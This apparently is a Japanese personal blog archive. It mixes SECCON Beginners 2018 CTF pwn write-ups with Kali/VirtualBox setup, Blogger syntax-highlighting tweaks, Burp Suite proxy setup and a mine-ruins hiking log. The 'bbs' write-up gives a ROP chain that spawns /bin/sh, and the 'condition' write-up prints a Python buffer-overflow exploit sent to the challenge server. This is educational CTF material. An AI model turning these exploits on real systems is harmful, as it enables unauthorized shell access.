bbs ( SECCON beginners 2018)のwriteup

問題に掲示されている場所にnetcatで繋いでみます。

$ nc pwn1.chall.beginners.seccon.jp 18373
Input Content : aaaa

==============================

Wed May 30 21:48:16 JST 2018
aaaa

==============================

bbsサービスにアクセスすると、文字を書き込め、書き込んだ投稿が表示されます。
またELF64の実行ファイルが与えられています。

radare2でmain関数を見て見ます。

$ r2 bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7
[0x00400590]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[0x00400590]> afl
0x00400047    1 165          fcn.00400047
0x004004e8    3 26           sym._init
0x00400520    1 6            sym.imp.puts
0x00400530    1 6            sym.imp.setbuf
0x00400540    1 6            sym.imp.system
0x00400550    1 6            sym.imp.printf
0x00400560    1 6            sym.imp.__libc_start_main
0x00400570    1 6            sym.imp.gets
0x00400580    1 6            sub.__gmon_start_580
0x00400590    1 41           entry0
0x004005c0    4 50   -> 41   sym.deregister_tm_clones
0x00400600    3 53           sym.register_tm_clones
0x00400640    3 28           sym.__do_global_dtors_aux
0x00400660    4 38   -> 35   entry1.init
0x00400686    1 27           sym.init
0x004006a1    1 89           sym.main
0x00400700    4 101          sym.__libc_csu_init
0x00400770    1 2            sym.__libc_csu_fini
0x00400774    1 9            sym._fini
[0x00400590]> s sym.main
[0x004006a1]> VV

stringsコマンドで文字列を拾ってもflagという文字列は一個もでてきませんし、main関数をみてわかるように、何かの条件を満たすとflag.txtを表示させる、みたいな安直なものではありません。
つまり、シェルを起動させて、そこからflagを探すことが必要なんだと予想がつきます。

main関数のなかでsystem関数に直に文字列str.dateを渡しているところがあります。
これは、system関数をROPに使ってね!というヒントだと思われます。

(というか、このsystem関数呼び出しがなかったとすると、このバイナリではsystem関数がPLTに載らない かつ このバイナリではsystem関数が呼び出せるようなROPガジェットが無い のでこのままではsystem関数は呼び出せない….のかな?
実行時にリンクされるライブラリを使って、Return-to-libc 攻撃みたいなのを行うことになるんだと思います。よくわかりません。
どんなライブラリがリンクされているのかはlddコマンドで見てください。)

本当にスタックオーバーフローとROPができるかチェックします

ASLR(とPIE)が有効だとアドレスのリークから始めなきゃならなくなったり、stack canaryが有効だとスタックオーバーフロー攻撃のためにはカナリアのリークやチェックする関数の回避などをしなきゃならなくなります。
これらのセキュリティ機構が有効でないかをgdb-pedaのchecksecコマンドで確認します。

 $ gdb bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

NXとPartial RELROが有効なだけなので大丈夫だとわかります。

NXビットはスタックとかの上にあるコードが実行不可能になりますが、今回はROPですから、スタック上には「命令のアドレス」が置いてあるだけなので大丈夫。

Partial RELROはよく知らんけど、PLTやGOTといったELF内部データセクションをデータ関係のセクションより前に配置し(=単純なスタックオーバーフローで書き換えできないのでやりにくくなる)、それに加えnon-PLT GOT(←なに?)が書き換え不可になる…らしいです。
今回はGOTを書き換えたりしないので関係ないです。

radare2で関数のPLTのエントリのアドレスを確認します。

[0x00000000]> afl
0x00400047    1 165          fcn.00400047
0x004004e8    3 26           sym._init
0x00400520    1 6            sym.imp.puts
0x00400530    1 6            sym.imp.setbuf
0x00400540    1 6            sym.imp.system
0x00400550    1 6            sym.imp.printf
0x00400560    1 6            sym.imp.__libc_start_main
0x00400570    1 6            sym.imp.gets
  (...中略...)

gets関数は0x00400570、system関数は0x00400540が、PLTのエントリのアドレスです。
ここにジャンプすればその関数が呼び出せるというわけです。

次にrdiに値を入れる命令を探します。

x64のSystem V ABIでは、第一引数をrdiを介して関数に引数を渡すため、rdiを自由に書き換える命令が必要です。

ROPgadget(←固有名詞)というツールがあります。バイナリ中のROPガジェットを探してくれる機能があります。
(gdb-pedaのdumpropコマンドなど色々他のツールもあります。)

# ./ROPgadget.py  --binary ~/Downloads/bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7  | grep rdi
0x0000000000400763 : pop rdi ; ret

0x00400763に、rdiにスタックからpopしてretしてくれる便利な命令がみつかりましたね。

最後に、”/bin/sh”という文字列をどうするかです。

ROPgadgetツールで調べて見ても、ちょうどよい文字列は存在しません。
なので、bssセクションに確保することにしてしまいましょう。
書き込み権限があり、そして書き換えても影響がないことが多いbssセクションはこういうときに利用されがちです。

bssセクションは、gdbで次のようにして確認しました。0x00601058から始まっています。
(radare2ならiSコマンドでセクション一覧が出ます)

$ gdb bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7
(gdb) info files
Symbols from "/root/Downloads/bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7".
Local exec file:
    `/root/Downloads/bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7', file type elf64-x86-64.
    Entry point: 0x400590
    0x0000000000400238 - 0x0000000000400254 is .interp
    0x0000000000400254 - 0x0000000000400274 is .note.ABI-tag
    0x0000000000400274 - 0x0000000000400298 is .note.gnu.build-id
    0x0000000000400298 - 0x00000000004002bc is .gnu.hash
    0x00000000004002c0 - 0x0000000000400398 is .dynsym
    0x0000000000400398 - 0x00000000004003f6 is .dynstr
    0x00000000004003f6 - 0x0000000000400408 is .gnu.version
    0x0000000000400408 - 0x0000000000400428 is .gnu.version_r
    0x0000000000400428 - 0x0000000000400458 is .rela.dyn
    0x0000000000400458 - 0x00000000004004e8 is .rela.plt
    0x00000000004004e8 - 0x0000000000400502 is .init
    0x0000000000400510 - 0x0000000000400580 is .plt
    0x0000000000400580 - 0x0000000000400588 is .plt.got
    0x0000000000400590 - 0x0000000000400772 is .text
    0x0000000000400774 - 0x000000000040077d is .fini
    0x0000000000400780 - 0x00000000004007ec is .rodata
    0x00000000004007ec - 0x0000000000400828 is .eh_frame_hdr
    0x0000000000400828 - 0x000000000040093c is .eh_frame
    0x0000000000600e08 - 0x0000000000600e18 is .init_array
    0x0000000000600e18 - 0x0000000000600e20 is .fini_array
    0x0000000000600e20 - 0x0000000000600e28 is .jcr
    0x0000000000600e28 - 0x0000000000600ff8 is .dynamic
    0x0000000000600ff8 - 0x0000000000601000 is .got
    0x0000000000601000 - 0x0000000000601048 is .got.plt
    0x0000000000601048 - 0x0000000000601058 is .data
    0x0000000000601058 - 0x0000000000601068 is .bss

道具は揃ったのでこれらを使ってROPチェインを組み立てます。

  1. rdiに適当な場所(今回はbss先頭 、0x601058)のアドレスを入れ、引数の準備
  2. gets関数を呼び出し、そこに”/bin/sh”などsystem関数に渡したい文字列を書き込む
  3. rdiにbss先頭、0x601058を入れて、引数の準備
  4. system関数を呼び出し、”/bin/sh”を実行

ということができるように組み立てると、

このようになります。

1度目のgets関数のときにスタックオーバーフローを利用し、main関数の呼び出し元アドレス(図ではオレンジの部分) からあとをROPチェインに書き換えているという感じです。

136バイトぶん’a’とかで埋めて、
0x00400763 (pop rdi ; ret)、
0x00601058 (bssのアドレス)、
0x00400570 (gets関数のPLTエントリ)、
0x00400763 (pop rdi ; ret)、
0x00601058 (bssのアドレス)、
0x00400540 (system関数のPLTエントリ)
というデータを送信すれば良いです。

Kali Linux 2018.2にVirtualBox Guest Additionsをインストール

https://www.youtube.com/watch?v=lvY-Qn54W98
とっくに説明動画あります
この海外のサイト読めばこのページを読む必要はありません。(帰られると直帰率が増えちゃうけど)


まず必要なものを導入します
https://docs.kali.org/general-use/kali-linux-sources-list-repositories
のローリングリポジトリのところをコピーしてきます

コピーしてきたら、sedで/etc/apt/sources.listに追記します。
そして、アップデートしてlinux-image-4.15.0-kali3-amd64をいれ再起動のあとにlinux-headers-4.15.0-kali3-amd64を入れます。
要は下のコマンドの通りにやればいいです

# sed -e '$ a http://http.kali.org/kali kali-rolling main contrib non-free'  /etc/apt/sources.list
# apt update
# apt install linux-image-$(uname -r)
# reboot
# apt install linux-headers-$(uname -r)

写ってませんが
メニューバー>Device>Insert Guest Additions CD image
でGuest Additions CDを入れます

Guest Additions CD imageの中のシェルスクリプトに実行権限がないのでこのままでは実行できません。
CD imageからファイルをコピーしてきて、実行権限を付与してから実行します。
要は下のコマンドの通りにやればよいです。(GuestAdditionsCDのバージョンは適宜書き換えてください)

# mkdir ~/Desktop/vbox
# mv /media/VBox_GAs_5.2.10/* ~/Desktop/vbox
# chmod +x ~/Desktop/vbox/VBoxLinuxAdditions.run
# sh VBoxLinuxAdditions.run

再起動してできあがり。

HTTPS対応のCDNからSyntaxHighlighterを読み込む

前回Google Code Prettifyに変えましたが、表示が気に入らなかったので、SyntaxHighlighterに戻します。

BloggerでSyntaxHighlighterを導入する方法 | 非IT企業に勤める中年サラリーマンのIT日記

bloggerでSyntaxHighlighterを表示する方法 – 何かをやりたい何かになりたい
で紹介されるように、<head>タグの最後のほうに追加しとけば良いのですが、
HTTP通信で何か取ってくるようなのは制限されています。

なのでHTTPSが使える CDNから取ってくるようにします。
https://cdnjs.com/libraries/SyntaxHighlighter
にCDN一覧があるのでそこから探します。

例えばbloggerでSyntaxHighlighterを表示する方法 – 何かをやりたい何かになりたいで紹介されている例のURLの部分を、探したCDNのURLに置き換えて次のようにします。


<!-- デザイン用css -->

    <link href='https://cdnjs.cloudflare.com/ajax/libs/SyntaxHighlighter/3.0.83/styles/shCore.css' rel='stylesheet' type='text/css'/> 

    <link href='https://cdnjs.cloudflare.com/ajax/libs/SyntaxHighlighter/3.0.83/styles/shThemeDefault.css' rel='stylesheet' type='text/css'/>

 

    <!-- コア部分 -->

    <script src='https://cdnjs.cloudflare.com/ajax/libs/SyntaxHighlighter/3.0.83/scripts/shCore.js' type='text/javascript'/>

 

    <!-- 言語の定義部分 -->

    <script src='https://cdnjs.cloudflare.com/ajax/libs/SyntaxHighlighter/3.0.83/scripts/shBrushCSharp.js' type='text/javascript'/>

    <script src='https://cdnjs.cloudflare.com/ajax/libs/SyntaxHighlighter/3.0.83/scripts/shBrushBash.js' type='text/javascript'/>

    <script src='https://cdnjs.cloudflare.com/ajax/libs/SyntaxHighlighter/3.0.83/scripts/shBrushCss.js' type='text/javascript'/>

    <script src='https://cdnjs.cloudflare.com/ajax/libs/SyntaxHighlighter/3.0.83/scripts/shBrushXml.js' type='text/javascript'/>



    <script src='https://cdnjs.cloudflare.com/ajax/libs/SyntaxHighlighter/3.0.83/scripts/shBrushCpp.js' type='text/javascript'/>

    <script src='https://cdnjs.cloudflare.com/ajax/libs/SyntaxHighlighter/3.0.83/scripts/shBrushJava.js' type='text/javascript'/>

    <script src='https://cdnjs.cloudflare.com/ajax/libs/SyntaxHighlighter/3.0.83/scripts/shBrushJScript.js' type='text/javascript'/>

    <script src='https://cdnjs.cloudflare.com/ajax/libs/SyntaxHighlighter/3.0.83/scripts/shBrushPython.js' type='text/javascript'/>



 

 

    <!-- bloggerで使用可能にする -->

    <script type='text/javascript'>

        SyntaxHighlighter.config.bloggerMode = true;

        SyntaxHighlighter.all()

    </script>



  </head>

Bloggerのシンタックスハイライトを、SyntaxHighlighterからGoogle code-prettifyへ乗り換え

追記:2018/05/27:速攻で戻しちゃいました

タイトル通りですが、
世はHTTPS化の流れ。

いつからか知りませんが、(Bloggerでは?)HTTP通信で他所から読み込もうとするとダメになりました。
プログラミングな日々:Bloggerのhttps強化によるSyntaxHighlighter周りの修正

SyntaxHighlighterというシンタックスハイライトスクリプトを使っていたのですが、HTTP通信でいろいろロードするためBloggerでは上手く動かなくなっていました。
(HTTPSに対応したCDNから読み込むようにすれば動かせます)

なのでGooglePrettyprintに乗り換えることにします。

STEEL DRAGON 14106:Google code-prettifyの使い方(2017年6月現在)を参考に、<head>タグの一番後ろでスクリプトを読み込みます。


...(中略)
<!-- load google-prrettify -->

<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js"></script>

</head>

というのを追加します。

SyntaxHighlighterでは<pre>タグのclass属性に”brush; html”などを指定するのですが、
Google code-prettifyではclass属性に”prettyprint”を指定しなくてはなりません。

いちいち全ページのソースコードを書き換えるのは面倒だしこの後も変更があるかもしれないので、スクリプトで読み込み時に書き換えることにします。

<body>タグの中の最後のほうに、全ての<pre>タグのclass属性にprettyprintを追加するスクリプトを加えます。

...(中略)
<!-- Google prettyprint code execute-->

<script>

var initPrettyPrint = function() {

    Array.prototype.slice.call(document.querySelectorAll("pre")).forEach(function(pre) {

        // 全てのpre要素にclass="prettyprin";を付与

        pre.setAttribute("class", "prettyprint");

    });



    // 構文ハイライトを実行

    PR.prettyPrint();

};



// 上記の初期化処理を画面ロード時に一度だけ呼ぶ

window.addEventListener("load", initPrettyPrint, false);

</script>

</body>

condition( SECCON beginners 2018)のwriteup

しばらくPWNやってなかったら完全にやり方のセオリー忘れてました。
作問意図としてはクソ簡単な腕慣らし問題の想定だと思うのですが時間かかっちゃいました。
また忘れるので基本的な解き方のメモを兼ねます。

問題:

サーバ側で実行されていると思われる実行ファイルcondition_68187f0953551cea907c48c016f19ff200de74b4がダウンロードでき、Host: pwn1.chall.beginners.seccon.jp、Port :16268に繋げとの指示。

まずnetcatで繋いでみます。

$ nc  pwn1.chall.beginners.seccon.jp 16268
Please tell me your name...blablabla
Permission denied

名前をいれて、それが正しいとフラグが見れるタイプの問題です。
ダウンロードしてきたファイルを見てみましょう。
radar2を用います。

$ r2 condition_68187f0953551cea907c48c016f19ff200de74b4
[0x00400660]> aaa           #(Analyze Allの意)
[0x00400660]> afl             #(見つかった関数の一覧、All Functions List かな?)
0x00400660 42   1  sym._start
0x00400610 6   1  sym.imp.__libc_start_main
0x00400616 16   1  fcn.00400616
0x004005bc 10   1  fcn.004005bc
0x004005c6 16   1  fcn.004005c6
0x004005d6 16   1  fcn.004005d6
0x004005e6 16   1  fcn.004005e6
       ...
[0x00400660]> s sym.main        #(sym.mainまでseekの意)
[0x00400771] > VV               #(ビジュアルグラフィックモードに切り替え。前はCLIだったが今はWebブラウザインターフェース?)
 

radar2のビジュアルグラフィックモードでmain関数を見るとこんな感じ。

0x004007a cmp dword[rbp-0x4], 0xdeadbeef
でrbp-0x4から4バイトと即値0xdeadbeefを比較して、同じならば(左側のの四角のコードに遷移して)flag.txtを表示しているのがわかります。
rbp-0x4から4バイトに0xdeadbeefを入れればflag.txtが見られます。

ではrbp-0x4にはどのようにして0xdeadbeefを入れればよいのでしょうか?

0x0040078f ~ 0x00400796
にて関数呼び出しの準備をし、
0x0040079b call sym.imp.gets
にて入力を受け付ける関数が呼び出されています。
ここで、名前として入力された文字を受け付けています。

0x0040078fで準備しているように、sym.imp.getsではrbp-0x30から書き込んでいきます。
なので、rbp-0x30からrbp-0x04までは適当に’a’などで埋めて、rbp-0x04からの4バイトに0xdeadbeefを入れれば良いです。

下図は名前入力で aを(0x30 – 0x04 =) 44個、そのあとに0xdeadbeefを入力したときのスタックです。

下がPython2で書いたエクスプロイトコードですが、バイトオーダーに注意してください。リトルエンディアンな環境なので、0xdeadbeefのメモリ上での並び方は、メモリ番地が小さい方から0xef 0xbe 0xad 0xdeです。

エクスプロイトコード

# coding: utf-8

import socket
import sys
import re  
import time
import codecs

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                      
server_address = ('153.120.167.242', 16268)
sock.connect(server_address)
text1 = sock.recv(10024)       #説明を読み飛ばす
print text1
print ('a'*44) +  'efbeadde'.decode('hex') + 'n' 

#データ送信
sock.sendall(('a'*44) +  'efbeadde'.decode('hex') + 'n')         
time.sleep(2)
data = sock.recv(10000)
print data

Burp Suiteを使うためのGoogle Chromeでの設定の仕方

プロキシ設定は解説サイトがすぐ見つかりましたが、証明書の設定でまごついたので覚え書きです

ブラウザ側のプロキシの設定

プロキシの設定はGoogleChrome拡張機能のProxy SwitchySharpをインストールしてください。
簡単にプロキシ設定を切り替えるために必要です。

Burp Suiteはデフォルト設定では127.0.0.1:8080で待ち受けてるので、Google Chromeがそこ経由で通信するようにProxy SwitchySharpで設定してください

プロキシ設定は右側のアイコンから簡単に切り替えられます。
Burp Suiteを使わないときはDirect Connectionにしましょう

証明書の設定

https://dev.classmethod.jp/smartphone/burp-suite/

プロキシ設定を、Burp Suite経由で通信できるように変更したあとで、
Burp Suiteの待ち受けてるとこ(デフォルト設定ではhttp://127.0.0.1:8080 )にアクセスし、右上のCA certificatesをクリック

証明書がダウンロードされます。

macOSでは:

macOSのキーチェーン管理画面を開き、そこにドラッグ&ドロップとかで追加します。

一覧のなかの追加した証明書をダブルクリックして証明書の詳細画面を開き、「信頼」の項目の使いたい項目を「常に信頼」に変更します
アカウントのパスワードを求められるので入力。

これでSSL通信ができるようになります。

Windowsでは:

Google Chromeの設定> 詳細設定>証明書の管理
で証明書を追加するんだと思います。(試してない)

日立鉱山・選鉱所の遺構を探した(&もとやま自然の村キャンプ場の跡地も)

GW企画。

すでに他サイト様で発見されている浮遊選鉱所の遺構(?)を訪れるという企みですが、今回は失敗に終わりました。

HITACHIというメーカーを知っている人は多くいても、日立鉱山を知っている人はそれより少ないかと思います。

茨城県日立市は1900年代始めより日立鉱山で栄えて、今に至ります。
そして途中から日立鉱山は元気を無くして閉山するんですが、そのときの遺構は目につくものはだいたい取り壊されており、殆ど残っておりません。

病院、劇場、住宅、学校、いろいろありました。
しかしボコスカ取り壊されて、現在は道路に面した場所からだと住宅の土台や階段が確認できる程度です。


でもまだ実は残っていて、それは道路から一歩森の中に足を踏み入れて自分で探す必要があるのですが、確かにあるのです。

(鉱山が元気なときは一帯の山はハゲてしまい見通しが良かったみたいですが、現在は緑が茂っていて遺構の見つけにくさに拍車をかけています。)

なお、事前調査は
Googleマップを使って過去の地形図や空中写真を見る
地図・空中写真閲覧サービス | 国土地理院
を利用しました。
1つめのサイトは閲覧がしやすいです。2つめの国土地理院のサービスの方は、より高解像度まで見られるのでおすすめです。

見る地図は、1975年のものがおすすめです。日立の山あいまではっきり写っている古い写真は他の年度には無いみたいです。

1.遺構を求めて彷徨う

さて本題の浮遊選鉱所ですが、Googleの写真地図ではこのあたり。

国土地理院の航空写真(1975)ではこのように。

アクセスが容易な場所にある廃墟は訪れる人が多く、危険なためさっさと取り壊されてしまいがちですが、ここは道路側から全く見ることができないため取り壊しも遅れているのだと思います。

図にある予定ルートでアプローチします。

しかしスマフォが道中、圏外になったゆえに迷子になり、奥の方まで進んでしまいました。
移動軌跡を地図に重ねるとこんな感じです

1975の航空写真に重ねるとこんな感じ。
後述の、最後のポイントIで道に迷ったのは、そこで道が終わっていたからかもしれません。1975年の航空写真で見ると円筒形の施設があるあたりで引き返したことになっているので。

いばらき解体新書さんが載せていた、地図を引用して説明させていただきますと、以下のようになります。

ポイントA

道路に面した場所にバイクをデポします。

緑が多過ぎです。

ポイントB周辺

本山小学校へ向かう分岐点になっています。
ちなみに本山小学校(赤沢山荘)は閉鎖されており、体育館だけが残っています。体育館に機械警備が設置されていたらいやだから、こっちには向かいません。

ポイントC

この分岐を右へ行くと目指している浮遊選鉱所の遺構、左へ行くと住宅跡地。
ちなみに住宅跡地の一部は、2014年あたりに閉鎖されてしまいましたが、もとやま自然の村キャンプ場として利用されていました。

今回はスマフォが圏外になり地図を確認できず、右の道に気づかず左の道に間違って進んでしまいます。
以降はこの分岐の左の道を進んでいます。
なお書いていないけど最後にここにまた戻って来て、右の道に進めないか確かめましたが、ヤブが密に茂っていて今の季節での進行は諦めました。

ポイントD周辺

この辺はまだ軽トラやオフ車なら入って来れます。

マックスコーヒー!!!

ポイントE付近?

たしかこの辺のはず。古い写真で見る通り、ここに分岐があります。でもどっちを向いて写真を撮ったか忘れたので、分岐の矢印が描けません。
古い写真では分岐先(左側)にも建物がありますが、現在もあるかどうかは現地では確認していませんが、1975年の国土地理院の航空写真を見るとすでに何も無いように見えます。

ポイントF周辺。

ここで、今まで歩いて来た廃道と、もとやまキャンプ場の道路として使われていた道路が交差します。急に文明の香りの強い道になります。

しかし今はどちらも廃道ですね。キャンプ場も閉鎖したから。

なおポイントFから左の建物への道はバリケードが塞いでいます。しかし今でも建物があるかは確認していません。1975年の航空写真を見ると既に何も無いように見えます。

ポイントG周辺

大きな土管や、建物の基礎があります。

スマフォが圏外で、地図をダウンロードできません。
迷いました。
戻るのも嫌なので前進します。

ポイントH?付近

この辺は位置がアバウトです…なぜなら上の参考写真では分岐があることになっていますが、私は発見できなかったので、どのへんなのか確証がもてないからです。(いちおう撮影した写真にはGPS情報が記録されていますが…)
なんか門があります。
碍子らしき陶器が落ちています。日鉱関係のものでしょうか。

ポイントI付近

下の写真の少し先で道を見失い、前進不能に。
地図でみるともう少しで円形の建物にたどり着いたはずなのですが、惜しかったですね。
国土地理院の航空写真(1975 ?)だとこの辺です

2.遺構は一旦諦めて、もとやま自然の村キャンプ場の跡地へ。

ポイントFの分岐に戻り、元・もとやま自然の村キャンプ場へ行きます。前も書いたけど2014年くらいに閉鎖されました。
ちなみにポイントFそばの広場はこんな感じ。
道は荒れ放題。
もとやまキャンプ場の本部周辺に来ました。
荒れてますね〜〜〜
ちなみに建物の類は全て撤去されたみたいです。茨城に廃墟を残しておくとヤンキーが荒らして行くからですかね?
もとやまキャンプ場の正規の出口に向かいます。
なんらかの遺構の基礎がいろいろあって楽しいです。
この辺は、1975の写真を見るとたくさん建物があったようです。

文明崩壊後の世界を想像しちゃいます。

出口にたどり着きました!

あとは一番最初の場所まで徒歩で戻ります。

道中にも、一見緑に覆われて何もなさそうな、元居住地と思われる跡をよく見て見るといろいろなものがあります。

倉庫みたいな何かとか

神社とか。昔の地図だと神社マークあるんだけどね


祠がぺしゃんこでただの木にもどっちゃってます

3.やはり遺構を一目見たい!

実は日鉱記念館側からのアプローチが簡単だと思うのですが、柵があるのでやらない方が良いです。

反対側の小さい坂を登った先には気象観測装置と携帯電話のアンテナがたつエリアがあります。ここは少し小高いので浮遊選鉱所の遺構が見えるでしょう。

1975年ではここは中学校の校庭だったみたい?

この門は学校の門だったのかな?

その横の階段とかは体育館系の何か?



ここには廃車も置いてあり、テニスコートにも繋がっています。
しかし緑がすごすぎてテニスコートは入れませんでした。

写ってませんが「V6」エンブレムが付いていました。
いばらき解体新書様のコメント欄にてルーチェだと情報提供のある通り、マツダの5代目ルーチェですね。販売期間は1986-1991年だそうです。ナンバープレートの分類番号が2桁で、1999年以降は普通車は全部3桁になったそうなので、これはそれ以前に登録されたものですね。



(右がフェンス…のはずですか森にしか見えませんね)

ここからなら、浮遊選鉱所の遺構のアタマが見えるので、これで満足したことにして帰ります。